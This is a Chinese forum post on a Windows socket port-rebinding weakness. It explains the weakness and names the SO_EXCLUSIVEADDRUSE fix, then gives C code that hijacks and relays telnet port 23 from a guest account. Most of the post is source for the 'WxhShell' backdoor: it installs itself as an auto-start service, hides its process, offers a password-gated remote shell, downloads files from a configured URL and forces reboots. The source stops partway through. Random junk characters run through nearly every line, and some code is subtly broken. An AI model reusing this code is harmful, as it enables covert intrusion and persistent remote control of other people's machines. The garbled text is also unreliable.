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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: (G4at2YLd  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); YPK(be_|I  
|5~#&v_  
  saddr.sin_family = AF_INET; BBRR)  
yyRiP|hJ  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); g:D>.lKd  
~>Fu5i $i  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 1;r|g)VM  
x_6[P2"PP  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 FR4QUk  
JG!mc7  
  这意味着什么?意味着可以进行如下的攻击: +wvWwie  
YYl4"l  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 .4M.y:F  
RJ ||}5  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ;I 9&]   
<+Dn8  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 bv9i*]  
?U5{Wa85D  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  +[AQUc  
THbh%)Zv+  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 }=UHbU.n~!  
W*4-.*U8a  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 c~$)UND^  
djQH1^ (IU  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 8'.Hyy@;  
7he,?T)vD  
  #include Lh"<XYY  
  #include iNz=e=+Si  
  #include Z!#!Gu*V  
  #include    ?m=N]!n  
  DWORD WINAPI ClientThread(LPVOID lpParam);   :q7Wy&ow  
  int main() a| x.C6P e  
  { *vN-Vb^2i)  
  WORD wVersionRequested; P[#e/qnXu|  
  DWORD ret; V>%rv'G8  
  WSADATA wsaData; Ar|0b}=)>  
  BOOL val; Eh;'S"{/?j  
  SOCKADDR_IN saddr; mpEK (p  
  SOCKADDR_IN scaddr; !/*\}\'4  
  int err; >~sI8czR*  
  SOCKET s; [0[i5'K:  
  SOCKET sc; eRstD>r  
  int caddsize; vnt%XU,,Y  
  HANDLE mt; "3"V3w  
  DWORD tid;   fZzoAzfv2  
  wVersionRequested = MAKEWORD( 2, 2 ); qIE9$7*X  
  err = WSAStartup( wVersionRequested, &wsaData ); HT cb_a  
  if ( err != 0 ) { c|B('3h  
  printf("error!WSAStartup failed!\n"); o>i4CCU+  
  return -1; 4*#18<u5  
  } \*y-g@-{W$  
  saddr.sin_family = AF_INET; nH'e?>x~e  
   gHEu/8E  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 gNrjo=  
o.g V4%  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 82qoGSD.  
  saddr.sin_port = htons(23); wn, KY$/  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #PW9:_BE  
  { -1_)LO&H  
  printf("error!socket failed!\n"); e8!5 I,I  
  return -1; &|ex`nwc0  
  } z}9(x.I  
  val = TRUE; "'.UU$]d  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 KVaiugQ   
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 2'\H\|  
  { w\u=)3qyVV  
  printf("error!setsockopt failed!\n"); (9 GWbB?  
  return -1; P[ck84F/  
  } b<ZIWfs  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; uEP*iPLD@  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 1Z2HUzqh.  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 fc3{sZE2M  
W:nef<WH  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) rJT a  
  { 1D7 `YKI9h  
  ret=GetLastError(); M `M5'f  
  printf("error!bind failed!\n"); :#ik. D  
  return -1; (D&3G;0tK  
  } )[IC?U:5I  
  listen(s,2); yYYSeH  
  while(1) (gU!=F?#m  
  { a0E)2vt4  
  caddsize = sizeof(scaddr); lU\ [aNs  
  //接受连接请求 h"Q8b}$^)  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); UHkMn  
  if(sc!=INVALID_SOCKET) Lv7(st%`  
  { OLGE!&!>  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); itP,\k7>d  
  if(mt==NULL) _8J.fT$${  
  { $GcqBg-Hi  
  printf("Thread Creat Failed!\n"); 6l x>>J!H  
  break; tw/dD +  
  } #q$HQ&k  
  } hWLA<wdb  
  CloseHandle(mt); @Uvz8*b6  
  } Y\P8 v  
  closesocket(s); 7Q9 w?y~c  
  WSACleanup(); cwlRQzQ(  
  return 0; MJO-q $)c  
  }   \?-<4Bc@  
  DWORD WINAPI ClientThread(LPVOID lpParam) T3<4B!UB&  
  { .2t4tb(SUw  
  SOCKET ss = (SOCKET)lpParam; my1@41 H  
  SOCKET sc; *:7rdzn  
  unsigned char buf[4096]; {dlXLx!B  
  SOCKADDR_IN saddr; z&\a:fJ&  
  long num; SKN`2hD  
  DWORD val; G~a ZJ,  
  DWORD ret; LonxT&"!D  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Hvi49c]]  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   jB2[(  
  saddr.sin_family = AF_INET; g:@#@1rB6  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); c)85=T6*aA  
  saddr.sin_port = htons(23); ]F~dlH1Wp  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) :3Ox~o  
  { ? OM!+O  
  printf("error!socket failed!\n"); <'oQ \eB  
  return -1; /{_:{G!Q0  
  } cuI TY^6  
  val = 100; =UQ3HQD  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) vvMT}-!  
  { r l%  
  ret = GetLastError(); X+9>A.92  
  return -1; C,r;VyW6BI  
  } U8?mc  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) bI1N@=  
  { /([kh~a  
  ret = GetLastError(); %tGO?JMkd  
  return -1; \R_C&=  
  } P= NDS2  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) O^ yG?b  
  { I\ob7X'Xu!  
  printf("error!socket connect failed!\n"); NXrlk  
  closesocket(sc); 7?_CcRe  
  closesocket(ss); W|mo5qrLS2  
  return -1; PJH&  
  } 8l`*]1.W<  
  while(1) 4!?eRY  
  { F]&*o w  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 U Cjld  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 `|q(h Ow2  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 + ePS14G  
  num = recv(ss,buf,4096,0); .ioEI sg  
  if(num>0) R\[e!g*I  
  send(sc,buf,num,0); FZn w0tMq  
  else if(num==0) xA*<0O\V  
  break; Gd85kY@w7  
  num = recv(sc,buf,4096,0); ?Ir:g=RP*  
  if(num>0) f@!.mDm]  
  send(ss,buf,num,0); -iZ`Y?  
  else if(num==0) #H~64/  
  break; K}Qa~_  
  } K-Ef%a2#`  
  closesocket(ss); +ZP7{%  
  closesocket(sc); f/?P514h  
  return 0 ; sW\!hW1*x  
  } ,ig/s2ZG6X  
OjA,]Gv6  
9\(| D#  
========================================================== p]c%f 2E>d  
fk-RV>yr  
下边附上一个代码,,WXhSHELL @H8EWTZ  
{' H(g[k  
========================================================== f|g g  
T)_hpt.  
#include "stdafx.h" owv[M6lbD  
YS_; OFsd  
#include <stdio.h> u*9V&>o  
#include <string.h> ,a? o aPH  
#include <windows.h> I q.*8Oc  
#include <winsock2.h> u ^RxD^=L  
#include <winsvc.h> A3*!"3nU  
#include <urlmon.h> qqU 64E  
V=3b&TkE  
#pragma comment (lib, "Ws2_32.lib") dAj$1Ke  
#pragma comment (lib, "urlmon.lib") I%Z  
 !}$$:  
#define MAX_USER   100 // 最大客户端连接数 <#HYqR',  
#define BUF_SOCK   200 // sock buffer /qw.p#  
#define KEY_BUFF   255 // 输入 buffer 1h5 Akq  
Ek}A]zC  
#define REBOOT     0   // 重启 Rf 1x`wml  
#define SHUTDOWN   1   // 关机 Oow2>F%_#  
RG`1en  
#define DEF_PORT   5000 // 监听端口 =tY T8Q;al  
!|>"o7  
#define REG_LEN     16   // 注册表键长度 :BT q!>s  
#define SVC_LEN     80   // NT服务名长度 TS5Q1+hWHV  
&+R?_Ooibk  
// 从dll定义API F6dP,(  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); HpnWo DM  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); E4xa[iZ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); a.6(K  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); as=LIw}Q4  
DlNX 3  
// wxhshell配置信息 CJI~_3+K  
struct WSCFG { ;9g2?-svw  
  int ws_port;         // 监听端口 1aABzB ^  
  char ws_passstr[REG_LEN]; // 口令 {]|J5Dgfe  
  int ws_autoins;       // 安装标记, 1=yes 0=no dcT80sOC  
  char ws_regname[REG_LEN]; // 注册表键名 \nqS+on]  
  char ws_svcname[REG_LEN]; // 服务名 >lM l  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 & ZB  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 2GStN74Xr  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 }:#P)8/v>%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ,6W>can  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" B?o7e<l[  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 M& CqSd  
n{SJ_S#a.a  
}; 2)~> R  
'[O;zJN;  
// default Wxhshell configuration y18Y:)DkL  
struct WSCFG wscfg={DEF_PORT, 2VCI 1E  
    "xuhuanlingzhe", &]-DqK7  
    1, s(roJbJ_;  
    "Wxhshell", kz7(Z'pw  
    "Wxhshell", Ld-_,-n  
            "WxhShell Service", vSLtFMq^(  
    "Wrsky Windows CmdShell Service", sFTy(A/  
    "Please Input Your Password: ", RY*U"G0#w  
  1, F1Bq$*'N$w  
  "http://www.wrsky.com/wxhshell.exe", -1@<=jX3_  
  "Wxhshell.exe" 9@)O_@=  
    }; t<?,F  
B^jc3 VsR  
// 消息定义模块 8kDp_s i  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; r-/`"j{O!  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ?#Q #u|~  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 2T[9f;jM'  
char *msg_ws_ext="\n\rExit."; ;mKb]  
char *msg_ws_end="\n\rQuit."; 4|#WFLo@  
char *msg_ws_boot="\n\rReboot..."; Ef13Q]9|  
char *msg_ws_poff="\n\rShutdown..."; YkQd  
char *msg_ws_down="\n\rSave to "; g9 5`.V}  
sds"%]r g  
char *msg_ws_err="\n\rErr!"; @49S`  
char *msg_ws_ok="\n\rOK!"; &~U ]~;@  
NSA-}2$  
char ExeFile[MAX_PATH]; liz~7RY4  
int nUser = 0; }|5Pr(I  
HANDLE handles[MAX_USER]; ?p8_AL'RS  
int OsIsNt; 5rZ  
_ZkI)o  
SERVICE_STATUS       serviceStatus; ZO$%[ftb  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; =kG@a(-  
YQA ,f#  
// 函数声明 ijx0gh`~  
int Install(void); k~ /Nv=D  
int Uninstall(void); FH+s s!  
int DownloadFile(char *sURL, SOCKET wsh); ."y1_dDql  
int Boot(int flag); W X6&oy>  
void HideProc(void); fPW@{~t  
int GetOsVer(void); $z*'fXg  
int Wxhshell(SOCKET wsl); h>OfOx/{q9  
void TalkWithClient(void *cs); \6*I'|5 d  
int CmdShell(SOCKET sock); Ck7uJI<x  
int StartFromService(void); mvT(.R ..s  
int StartWxhshell(LPSTR lpCmdLine); l8#EM1g-  
[87,s.MK  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $(>+VH`l  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); m5Di=8  
'}bgLv  
// 数据结构和表定义 n t7.?$  
SERVICE_TABLE_ENTRY DispatchTable[] = ]yPqLJ  
{ QbpFE)TYJ|  
{wscfg.ws_svcname, NTServiceMain}, ) M BQuiL  
{NULL, NULL} qR+!l(  
}; !^Y(^RS@  
0T5L_%c  
// 自我安装 aM0f/"-_  
int Install(void) L<{i ,'M  
{ )iK6:s #  
  char svExeFile[MAX_PATH]; _Qi&J.U>  
  HKEY key; 7,9=uk>0\  
  strcpy(svExeFile,ExeFile); R/>@ +  
L"*/:$EJL.  
// 如果是win9x系统,修改注册表设为自启动 tc{s B\&-  
if(!OsIsNt) { ZlzjVU/E  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { uw +M  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); pYZ6e_j1 ~  
  RegCloseKey(key); rK]Cr9WM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &t:Gx<]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [>5-$YOT  
  RegCloseKey(key); ls:w8 &`*  
  return 0; xCl1g4N  
    } /9p wZ%:<  
  } +jnJ|h({  
} @8rx`9  
else { 0-yp,G  
q}#6e]t  
// 如果是NT以上系统,安装为系统服务 s6.M\^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); I5n^,@md  
if (schSCManager!=0) |My4SoOF  
{ 8=uu8-l8g  
  SC_HANDLE schService = CreateService J!pygn O  
  ( )@Yf]qx+Y<  
  schSCManager, (~wqa 3  
  wscfg.ws_svcname, qPy1;maXP  
  wscfg.ws_svcdisp, o{q{!7DH@  
  SERVICE_ALL_ACCESS, 22M1j5  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , K<Iv:5-2  
  SERVICE_AUTO_START, +:!7L= N#  
  SERVICE_ERROR_NORMAL, Q&=w_Wc  
  svExeFile, 1A G<$d5U|  
  NULL, ![_*(8v}S  
  NULL, *><F'   
  NULL, b Y\K  
  NULL, 7gvnl~C(  
  NULL %9N7Ln|%  
  ); p#?7 w  
  if (schService!=0)  s ;oQS5Y  
  { 4N zwE(  
  CloseServiceHandle(schService); nv%rJy*w[  
  CloseServiceHandle(schSCManager); _%!c+f7  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #_J@-f7^  
  strcat(svExeFile,wscfg.ws_svcname); C|). ;V&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (@<c6WS  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); {/(D$"j(S  
  RegCloseKey(key); bM!_e3ik;  
  return 0; iAa.}CI,zB  
    } : $Y9jR  
  } Nj xoTLI  
  CloseServiceHandle(schSCManager); zHL@i0>^  
} PQnF  
} !tMuuK?IL=  
g-H N  
return 1; XY)&}u.  
} s(%oTKjt  
y?m/*hh`  
// 自我卸载 ];a=Pn-:}G  
int Uninstall(void) 36%nB*  
{ qY<'<T4\  
  HKEY key; "B4;,+4kR  
R)z4n  
if(!OsIsNt) { z4+k7a@jn  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T:Hr&ws4  
  RegDeleteValue(key,wscfg.ws_regname); Ib\iT:AJ  
  RegCloseKey(key); | e?64%l5P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { g[I b,la_a  
  RegDeleteValue(key,wscfg.ws_regname); c^u"I'#Q  
  RegCloseKey(key); YW`,v6  
  return 0; , GY h9  
  } ]2'na?q9  
} #u"k~La  
} a /#PLP  
else { mc_ch$r!  
*R3f{/DK  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 7L@K _ZJ  
if (schSCManager!=0) ryCI>vJz  
{ k RD%b[*d  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); :GW&O /Yo  
  if (schService!=0) }!/$M\w  
  { ^Au _U  
  if(DeleteService(schService)!=0) { gO,25::")  
  CloseServiceHandle(schService); x.zbD8l/9  
  CloseServiceHandle(schSCManager); : G`hm{  
  return 0; \ZhfgE8{%  
  } {h2TD P  
  CloseServiceHandle(schService); K+8-9$w6  
  } :.d:9Z|_  
  CloseServiceHandle(schSCManager); f=!VsR2o  
} CI :`<PZ\-  
} \, &co  
f0<%&2ym  
return 1; ;9ly'<up  
} s^|.Zr;,>  
Cc<,z*T  
// 从指定url下载文件 +1!qs,  
int DownloadFile(char *sURL, SOCKET wsh) *^wB!{.#  
{ jfx8EbQ  
  HRESULT hr; U uM$~qf/K  
char seps[]= "/"; a9Z%JS]  
char *token; |vMpXiMxxT  
char *file; LIVU^Os.  
char myURL[MAX_PATH]; 5"]~oPK  
char myFILE[MAX_PATH]; -}4NT{E  
{ "xln/  
strcpy(myURL,sURL); }%`~T>/  
  token=strtok(myURL,seps); qdG~!h7j  
  while(token!=NULL) iy\nio`  
  { 3bd5FsI^pU  
    file=token; ~h=X8-D  
  token=strtok(NULL,seps); ZBG}3Z   
  } Xy5s^82?  
j0GMTri3  
GetCurrentDirectory(MAX_PATH,myFILE); wpt='(  
strcat(myFILE, "\\"); m8JR@!t7  
strcat(myFILE, file); Rek -`ki5F  
  send(wsh,myFILE,strlen(myFILE),0); q )lnS )  
send(wsh,"...",3,0); $1zvgep  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); BH@)QVs-  
  if(hr==S_OK) 1b>C<\  
return 0; Yy JPHw)Z  
else $W42vjr4  
return 1; sz):oea@f@  
F;!2(sPS  
} W*:,m8wk  
desThnT w  
// 系统电源模块 sNHSr  
int Boot(int flag) eL.7#SIr}  
{ >71&]/Rv  
  HANDLE hToken; wFIh6[3  
  TOKEN_PRIVILEGES tkp; MZSxQ8  
|m?vVLq  
  if(OsIsNt) { q 'a  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); qG9+/u)\  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 7W9d6i)  
    tkp.PrivilegeCount = 1; yWHiw<  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 6ZqgY1  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); W;Jx<-#1  
if(flag==REBOOT) { w[Ep*-yeI  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) =]Hs|{  
  return 0; 3Gr&p6  
} w, jcm;  
else { rp :wQ H7  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) f|aDTWF  
  return 0; ]yX@'f  
} fd8#Ng"1  
  } -#A:`/22  
  else { ;ggy5?>Qu  
if(flag==REBOOT) { VAYb=4lt  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) g.#+z'l  
  return 0; {R&ZqEo'D  
} a%J6f$A#  
else { qG >DTKIU  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) jlKGXD)Q[  
  return 0; /k"hH\Pp  
} ._p""'Sa  
} O'}l lo  
dTD5(}+J  
return 1; }Pg' vJW  
} ^^$vR[7  
>e8JK*Blz  
// win9x进程隐藏模块 0B0G2t&hr  
void HideProc(void) <qiICb)~  
{ hD 46@  
g^o_\ hp  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -%uy63LbHF  
  if ( hKernel != NULL ) qZ G-Lh  
  { dB|Te"6  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); NR/-m7#-  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); +6%7C C6  
    FreeLibrary(hKernel); &?$\Y,{  
  } ":&|[9/  
*=^[VV!  
return; YbvX$/zGu  
} l:tpL(%  
*t =i  
// 获取操作系统版本 7L{li-crI  
int GetOsVer(void) 712=rUI%!  
{ nJ# XVlHc  
  OSVERSIONINFO winfo; E2yz=7sv5  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); &8Wlps`  
  GetVersionEx(&winfo); Rc7.M"wzjX  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) r|8V @.@i  
  return 1; DM/hcY$MW  
  else zlX! xqHj  
  return 0; GHrBK&  
} v=+k"gm6  
CI1m5g [P  
// 客户端句柄模块 cd"wNH-  
int Wxhshell(SOCKET wsl) `hF;$  
{ s#Q _Gu  
  SOCKET wsh; F0: &>'}  
  struct sockaddr_in client; %~(~W>^A  
  DWORD myID; ks^|>  
.??rqaZ=  
  while(nUser<MAX_USER) (jneEo=vr  
{ =[8d@d\  
  int nSize=sizeof(client); 0eaUorm)  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); wO\!xW:  
  if(wsh==INVALID_SOCKET) return 1; v*gLNB,ZH  
?ZM^%]/+  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); cl#OvQ  
if(handles[nUser]==0) ^"/Dih\_  
  closesocket(wsh); K+t];(  
else :EaiM J_=  
  nUser++; nR#a)et  
  } A9.;>8!u  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 8s&2gn1  
qIUC2,&g  
  return 0; zh hGqz[K  
} ^$?7H>=_ha  
TyyRj4>  
// 关闭 socket l+'`BBh*]  
void CloseIt(SOCKET wsh) dnLo(<{<U  
{ N)Qlkz$X  
closesocket(wsh); paUyS1i  
nUser--; lP-kZA!  
ExitThread(0); SSo~.)J  
} TosPk(o(  
-y9Pn>~V  
// 客户端请求句柄 <m:4g ,6  
void TalkWithClient(void *cs) sL;z"N@PK  
{ `=PB2'  
G<Th<JF)Q  
  SOCKET wsh=(SOCKET)cs; 0fZ:")&4,  
  char pwd[SVC_LEN]; [k}dES#  
  char cmd[KEY_BUFF]; z1)$  
char chr[1]; MJpP!a^Q  
int i,j; O>kXysMv>  
I>(;bNgN E  
  while (nUser < MAX_USER) { -DbH6u3  
V_7 Y1GD  
if(wscfg.ws_passstr) { vEX|Q\b6'  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); oR!n bm  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?nj"Ptzs  
  //ZeroMemory(pwd,KEY_BUFF); {IF}d*:  
      i=0; d)pz  
  while(i<SVC_LEN) { I 0x`H)DA  
|SwZi'p  
  // 设置超时 V!jK3vc  
  fd_set FdRead; ym-lT|>Z  
  struct timeval TimeOut; &/z+A{Hi  
  FD_ZERO(&FdRead); HMl!?%%  
  FD_SET(wsh,&FdRead); jb#1&L 14  
  TimeOut.tv_sec=8; w%%6[<3%  
  TimeOut.tv_usec=0; `!5tH?bX  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); {66Q" H"I  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Cw9@2E'b  
(25^r  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6&/ Ew4 e  
  pwd=chr[0]; %M4XbSN|  
  if(chr[0]==0xd || chr[0]==0xa) { <s59OdzP  
  pwd=0; T<9dW?'|  
  break; ;%3thm7+  
  } wh7i G8jCz  
  i++; k*zc5ev}  
    } 4jq`No_  
r P<d[u  
  // 如果是非法用户,关闭 socket Q KDb  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -E,{r[Sp  
} R?={{+O  
=F!",a~  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);  8E.5k@  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7#~m:K@  
v3VLvh 2)n  
while(1) { %i]uW\~U  
-?2&5YB  
  ZeroMemory(cmd,KEY_BUFF); ><:lUt*N2  
56j/w[&8  
      // 自动支持客户端 telnet标准   ??esB&4?  
  j=0; b 'Nvx9=W  
  while(j<KEY_BUFF) { {XVf|zM,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); n79DS(t  
  cmd[j]=chr[0]; C6;](rN)N  
  if(chr[0]==0xa || chr[0]==0xd) { $'I$n  
  cmd[j]=0; STF}~`b:3  
  break; \I o?ul}za  
  } [gg 7Z|Hu  
  j++; -+S~1`0  
    } /9vMGef@  
s+\qie  
  // 下载文件 T\b";+!W  
  if(strstr(cmd,"http://")) { *{p& Fy55  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); hvv>UC/  
  if(DownloadFile(cmd,wsh)) ] l qFht  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); M0"g/W  
  else yZPFo  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6@_@nlA<1  
  } ;?L[]Ezzt  
  else { 4`'BaUU(  
/IQ-|Qkg  
    switch(cmd[0]) { k`J..f9  
  0f}Q~d=QL  
  // 帮助 " ih>T^|  
  case '?': { =D"63fP1  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *U^\Mwp  
    break; u g$\&rM>  
  } ,I:m*.q  
  // 安装 V;+$/>J`vB  
  case 'i': { 5]n<%bP\  
    if(Install()) +Gwe%p Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p(&o'{fb  
    else Dqcu$ V]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'jlXLb  
    break; k)GuMw  
    } 1?#p !;&  
  // 卸载 z&J ow/  
  case 'r': { WHj4#v(  
    if(Uninstall()) #1hz=~YO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v+_Y72h*a  
    else Y\9*e5?`I3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $=QO_t)?  
    break; lNeF>zz  
    } 7a_n\]t465  
  // 显示 wxhshell 所在路径 3&Zx*:  
  case 'p': { Gy7x?  
    char svExeFile[MAX_PATH]; Lj* =*V  
    strcpy(svExeFile,"\n\r"); teNQUIe-  
      strcat(svExeFile,ExeFile); S aq>o.  
        send(wsh,svExeFile,strlen(svExeFile),0); ?-&D'  
    break; ph (k2cb  
    } !*. nR(>d  
  // 重启 GYmBxX87  
  case 'b': { f<:SdtG5  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =WRU<`\  
    if(Boot(REBOOT)) { RX|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;m:GUp^[  
    else { Zd/~ *ZA  
    closesocket(wsh); ;4#8#;  
    ExitThread(0); s-S"\zX\D  
    } bjX$idL  
    break; 4J|t}  
    } _ShJ3\,K  
  // 关机 )@|Fh@|  
  case 'd': { "T[jQr  
